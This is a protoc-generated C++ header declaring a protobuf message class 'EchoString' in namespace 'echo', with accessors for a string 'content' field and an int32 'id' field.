#define PROTOBUF_echoMsg_2eproto__INCLUDED
#include <string>
#include <google/protobuf/stubs/common.h>
#if GOOGLE_PROTOBUF_VERSION < 2006000
#error This file was generated by a newer version of protoc which is
#error incompatible with your Protocol Buffer headers. Please update
#error your headers.
#endif
#if 2006001 < GOOGLE_PROTOBUF_MIN_PROTOC_VERSION
#error This file was generated by an older version of protoc which is
#error incompatible with your Protocol Buffer headers. Please
#error regenerate this file with a newer version of protoc.
#endif
#include <google/protobuf/generated_message_util.h>
#include <google/protobuf/message.h>
#include <google/protobuf/repeated_field.h>
#include <google/protobuf/extension_set.h>
#include <google/protobuf/unknown_field_set.h>
// @@protoc_insertion_point(includes)
namespace echo {
// Internal implementation detail -- do not call these.
void protobuf_AddDesc_echoMsg_2eproto();
void protobuf_AssignDesc_echoMsg_2eproto();
void protobuf_ShutdownFile_echoMsg_2eproto();
class EchoString;
// ===================================================================
class EchoString : public ::google::protobuf::Message {
public:
EchoString();
virtual ~EchoString();
EchoString(const EchoString& from);
inline EchoString& operator=(const EchoString& from) {
CopyFrom(from);
return *this;
}
inline const ::google::protobuf::UnknownFieldSet& unknown_fields() const {
return _unknown_fields_;
}
inline ::google::protobuf::UnknownFieldSet* mutable_unknown_fields() {
return &_unknown_fields_;
}
static const ::google::protobuf::Descriptor* descriptor();
static const EchoString& default_instance();
void Swap(EchoString* other);
// implements Message ----------------------------------------------
EchoString* New() const;
void CopyFrom(const ::google::protobuf::Message& from);
void MergeFrom(const ::google::protobuf::Message& from);
void CopyFrom(const EchoString& from);
void MergeFrom(const EchoString& from);
void Clear();
bool IsInitialized() const;
int ByteSize() const;
bool MergePartialFromCodedStream(
::google::protobuf::io::CodedInputStream* input);
void SerializeWithCachedSizes(
::google::protobuf::io::CodedOutputStream* output) const;
::google::protobuf::uint8* SerializeWithCachedSizesToArray(::google::protobuf::uint8* output) const;
int GetCachedSize() const { return _cached_size_; }
private:
void SharedCtor();
void SharedDtor();
void SetCachedSize(int size) const;
public:
::google::protobuf::Metadata GetMetadata() const;
// nested types ----------------------------------------------------
// accessors -------------------------------------------------------
// required string content = 1;
inline bool has_content() const;
inline void clear_content();
static const int kContentFieldNumber = 1;
inline const ::std::string& content() const;
inline void set_content(const ::std::string& value);
inline void set_content(const char* value);
inline void set_content(const char* value, size_t size);
inline ::std::string* mutable_content();
inline ::std::string* release_content();
inline void set_allocated_content(::std::string* content);
// required int32 id = 2;
inline bool has_id() const;
inline void clear_id();
static const int kIdFieldNumber = 2;
inline ::google::protobuf::int32 id() const;
inline void set_id(::google::protobuf::int32 value);
// @@protoc_insertion_point(class_scope:echo.EchoString)
private:
inline void set_has_content();
inline void clear_has_content();
inline void set_has_id();
inline void clear_has_id();
::google::protobuf::UnknownFieldSet _unknown_fields_;
::google::protobuf::uint32 _has_bits_[1];
mutable int _cached_size_;
::std::string* content_;
::google::protobuf::int32 id_;
friend void protobuf_AddDesc_echoMsg_2eproto();
friend void protobuf_AssignDesc_echoMsg_2eproto();
friend void protobuf_ShutdownFile_echoMsg_2eproto();
void InitAsDefaultInstance();
static EchoString* default_instance_;
};
// ===================================================================
// ===================================================================
// EchoString
// required string content = 1;
inline bool EchoString::has_content() const {
return (_has_bits_[0] & 0x00000001u) != 0;
}
inline void EchoString::set_has_content() {
_has_bits_[0] |= 0x00000001u;
}
inline void EchoString::clear_has_content() {
_has_bits_[0] &= ~0x00000001u;
}
inline void EchoString::clear_content() {
if (content_ != &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
content_->clear();
}
clear_has_content();
}
inline const ::std::string& EchoString::content() const {
// @@protoc_insertion_point(field_get:echo.EchoString.content)
return *content_;
}
inline void EchoString::set_content(const ::std::string& value) {
set_has_content();
if (content_ == &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
content_ = new ::std::string;
}
content_->assign(value);
// @@protoc_insertion_point(field_set:echo.EchoString.content)
}
inline void EchoString::set_content(const char* value) {
set_has_content();
if (content_ == &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
content_ = new ::std::string;
}
content_->assign(value);
// @@protoc_insertion_point(field_set_char:echo.EchoString.content)
}
inline void EchoString::set_content(const char* value, size_t size) {
set_has_content();
if (content_ == &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
content_ = new ::std::string;
}
content_->assign(reinterpret_cast<const char*>(value), size);
// @@protoc_insertion_point(field_set_pointer:echo.EchoString.content)
}
inline ::std::string* EchoString::mutable_content() {
set_has_content();
if (content_ == &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
content_ = new ::std::string;
}
// @@protoc_insertion_point(field_mutable:echo.EchoString.content)
return content_;
}
inline ::std::string* EchoString::release_content() {
clear_has_content();
if (content_ == &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
return NULL;
} else {
::std::string* temp = content_;
content_ = const_cast< ::std::string*>(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
return temp;
}
}
inline void EchoString::set_allocated_content(::std::string* content) {
if (content_ != &::google::protobuf::internal::GetEmptyStringAlreadyInited()) {
delete content_;
}
if (content) {
set_has_content();
content_ = content;
} else {
clear_has_content();
content_ = const_cast< ::std::string*>(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
// @@protoc_insertion_point(field_set_allocated:echo.EchoString.content)
}
// required int32 id = 2;
inline bool EchoString::has_id() const {
return (_has_bits_[0] & 0x00000002u) != 0;
}
inline void EchoString::set_has_id() {
_has_bits_[0] |= 0x00000002u;
}
inline void EchoString::clear_has_id() {
_has_bits_[0] &= ~0x00000002u;
}
inline void EchoString::clear_id() {
id_ = 0;
clear_has_id();
}
inline ::google::protobuf::int32 EchoString::id() const {
// @@protoc_insertion_point(field_get:echo.EchoString.id)
return id_;
}
inline void EchoString::set_id(::google::protobuf::int32 value) {
set_has_id();
id_ = value;
// @@protoc_insertion_point(field_set:echo.EchoString.id)
}
// @@protoc_insertion_point(namespace_scope)
} // namespace echo
#ifndef SWIG
namespace google {
namespace protobuf {
} // namespace google
} // namespace protobuf
#endif // SWIG
// @@protoc_insertion_point(global_scope)
#endif // PROTOBUF_echoMsg_2eproto__INCLUDED
| 31.003906 | 105 | 0.699509 |